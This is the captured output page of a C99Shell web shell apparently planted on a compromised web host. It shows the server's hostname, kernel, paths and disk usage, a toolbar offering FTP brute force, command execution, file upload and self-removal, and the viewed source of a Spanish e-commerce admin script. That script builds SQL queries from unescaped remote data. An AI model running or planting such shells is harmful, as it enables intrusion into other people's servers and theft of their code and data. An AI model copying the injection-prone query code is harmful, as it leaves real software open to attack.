!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.26 GB of 1859.98 GB (52.97%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     importar-filtros-shope.php (8.32 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
$pagina_actual
="panel";
$categoria_actual="panel";
require_once(
"includes/config.php");
require_once(
"includes/funciones.php");

$array_filtro json_decode(file_get_contents($url_sincronizacion_filtro),true);

//print_r($array_filtro);

if (isset($_POST["submit"])){      

    
$array_opciones_filtro json_decode(file_get_contents($url_sincronizacion_opciones_filtro),true);

    
$array_renglon_categoria_filtro json_decode(file_get_contents($url_sincronizacion_renglon_categoria_filtro),true);

    
$array_renglon_producto_opcion json_decode(file_get_contents($url_sincronizacion_renglon_producto_opcion),true);    

    
//extract($_POST, EXTR_SKIP);

    
foreach ($_POST as $clave => $valor){

        
$aux explode("producto_",$clave);
        if (isset(
$aux[1])){

            
$id=$array_filtro[$aux[1]]["id"];
            
$nombre=$array_filtro[$aux[1]]["nombre"];
            
$orden=$array_filtro[$aux[1]]["orden"];

            
$result=$mysqli->query("
            INSERT INTO filtro (id, nombre, orden) 
            VALUES (
            '"
.($id)."',
            '"
.utf8_decode($nombre)."',
            '"
.($orden)."'
            )
            "
);

            if (isset(
$array_opciones_filtro[$id])){
                foreach (
$array_opciones_filtro[$id] as $clave2 => $valor2){

                    
$result=$mysqli->query("
                    INSERT INTO opciones_filtro (id, id_filtro, nombre, orden)
                    VALUES (
                    '"
.($valor2["id"])."',
                    '"
.($valor2["id_filtro"])."',
                    '"
.utf8_decode($valor2["nombre"])."',
                    '"
.($valor2["orden"])."'
                    )
                    "
);

                }
            }   

            if (isset(
$array_renglon_categoria_filtro[$id])){
                foreach (
$array_renglon_categoria_filtro[$id] as $clave2 => $valor2){

                    
$result=$mysqli->query("
                    INSERT INTO renglon_categoria_filtro (id, id_filtro, id_categoria)
                    VALUES (
                    '"
.($valor2["id"])."',
                    '"
.($valor2["id_filtro"])."',
                    '"
.($valor2["id_categoria"])."'
                    )
                    "
);

                }
            }   

            if (isset(
$array_renglon_producto_opcion[$id])){
                foreach (
$array_renglon_producto_opcion[$id] as $clave2 => $valor2){

                    
$result=$mysqli->query("
                    INSERT INTO renglon_producto_opcion (id, id_filtro, id_producto, id_opcion)
                    VALUES (
                    '"
.($valor2["id"])."',
                    '"
.($valor2["id_filtro"])."',
                    '"
.($valor2["id_producto"])."',
                    '"
.($valor2["id_opcion"])."'
                    )
                    "
);

                }
            }   

        }

    }

    
header('Location: importar-filtros-shope.php?exito=si');
}

$filtros_ya_importadas=$mysqli->query("
SELECT id
FROM filtro
"
);

while (
$item mysqli_fetch_assoc($filtros_ya_importadas)){
    unset(
$array_filtro[$item["id"]]);
}

//print_r($array_categorias);


//filtrar los que ya estan

?><!DOCTYPE html>
<html lang="es">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Panel administrador</title>
    
    <? include('includes/tipografias.php');?>
    <!-- Bootstrap Core CSS -->
    <link href="bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">

    <!-- MetisMenu CSS -->
    <link href="bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link href="dist/css/sb-admin-2.css" rel="stylesheet">
    <link href="css/cds.css" rel="stylesheet" type="text/css">

    <!-- Custom Fonts -->
    <link href="bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">

    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

    <style>
.col-lg-2.col-md-4.producto {
    height: 70px;
    margin-top: 10px;
    text-align: center;
}
.font-13.dos-lineas{
    margin: 0;
}


    </style>

</head>

<body>

    <div id="wrapper">

        <!-- Navigation -->
        <? require('includes/nav.php');?>

        <div id="page-wrapper">

            <? if (!isset($_GET["vista"])){?>

            <!-- /.row -->
            <div class="row">
                <div class="col-lg-12">
                    <h2 class="page-header"><strong><?=count($array_filtro)?></strong> filtros disponibles!</h2>
                </div>
                <!-- /.col-lg-12 -->
            </div>

            <? }?>

            <div class="row">
                <div class="col-lg-12">
                    <p><b>filtros disponibles para su tienda On-line!</b></p>
                    <p>Simplemente tilde el producto para que podamos identificar cual es el producto que quiere llevar a su tienda y presione el botón importar productos.</p>
                    <p>Los siguientes productos están asociados a los códigos que actualmente esta usando Shope. Usted puede usar el código de su preferencia, simplemente tilde el producto y asígnele su código.</p>
                    <br>
                </div>
                <!-- /.col-lg-12 -->
            </div>

            <form action="" method="post">

                <input type="hidden" name="submit">

                <? if (isset($_GET["exito"])){?>
                    <div class="alert alert-success alert-dismissable">
                        <button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>        
                        filtros importadas con éxito
                    </div>
                    <? }?>

                <div class="row">  

                    <div class="col-lg-12">
                        <? /*<input class="btn btn-success" type="submit" name="submit" value="Importar">*/?>
                        <button class="btn btn-success" type="submit">Importar filtros seleccionados</button>
                    </div>
    
                </div>


                    <div class="row">                    

                        <? foreach ($array_filtro as $clave => $valor){?>                        

                            <div class="col-lg-2 col-md-4 producto">   
                                <div class="form-group">
                                    <label>                                
                                        <input class="form-control" name="producto_<?=$valor["id"]?>" type="checkbox">
                                        <h2 class="dos-lineas font-13"><?=$valor["nombre"]?></h2>
                                    </label>
                                </div>                            
                                    
                                </label>
                            </div>

                        <? }?>                    
                        
                    </div>



                <div class="row">  

                    <div class="col-lg-12">
                        <button class="btn btn-success" type="submit">Importar filtros seleccionados</button>
                    </div>
    
                </div>
            </form>
        </div>

    </div>
    <!-- /#wrapper -->

    <!-- jQuery -->
    <script src="bower_components/jquery/dist/jquery.min.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="bower_components/bootstrap/dist/js/bootstrap.min.js"></script>

    <!-- Metis Menu Plugin JavaScript -->
    <script src="bower_components/metisMenu/dist/metisMenu.min.js"></script>

    <!-- Custom Theme JavaScript -->
    <script src="dist/js/sb-admin-2.js"></script>

    <script>

    $('form').on('submit', function(event) {

        $("form button[type=submit]").html("<i class='fa fa-cog fa-spin'></i> Trabajando...");
        $("form button[type=submit]").attr( "disabled", "disabled" );        

        //event.preventDefault();
    });  

    </script>

</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 1.0684 ]--